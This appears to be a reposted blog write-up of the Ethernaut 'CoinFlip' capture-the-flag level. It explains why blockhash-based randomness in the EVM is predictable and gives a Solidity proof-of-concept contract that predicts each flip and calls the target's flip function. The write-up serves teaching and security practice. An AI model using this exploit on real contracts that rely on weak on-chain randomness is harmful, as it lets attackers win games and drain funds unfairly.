Ethernaut 03

Topic requirements: Guess the result of 10 coin tosses in a row

Analysis of the meaning of the topic:

The key point of this question is the following sentence

Obviously, the focus of this question is how to use the inherent defects of random number generation in EVM

We need to understand that due to the consensus mechanism of all nodes in the blockchain network, the pseudo-random numbers based on EVM itself can be predicted under certain conditions (the oracle problem is not considered here)

Then the logic of this question is very clear:

If blockvalue≥FACTOR, then side takes true, and our _guess should also take true at this time

If blockvalue < FACTOR, then side takes false, and our _guess should also take false at this time

Call the flip function 10 times in a row to pass the level

The following is the POC contract of this question

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import '@openzeppelin/contracts/utils/math/SafeMath.sol';

contract POC {
    using SafeMath for uint256;
    address public victim;

    function setVictim(address victim_) public {
        victim = victim_;
    }

    function flip_attack() public {
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));
        uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
        uint256 coinFlip = blockValue.div(FACTOR);

        bool guess = coinFlip == 1 ? true : false;

        (bool success,) = victim.call(abi.encodeWithSignature("flip(bool)",guess));
        require(success==true, "call CoinFlip:flip failed");

    }
}

Guess you like

Origin blog.csdn.net/siritobla/article/details/126036554
03
03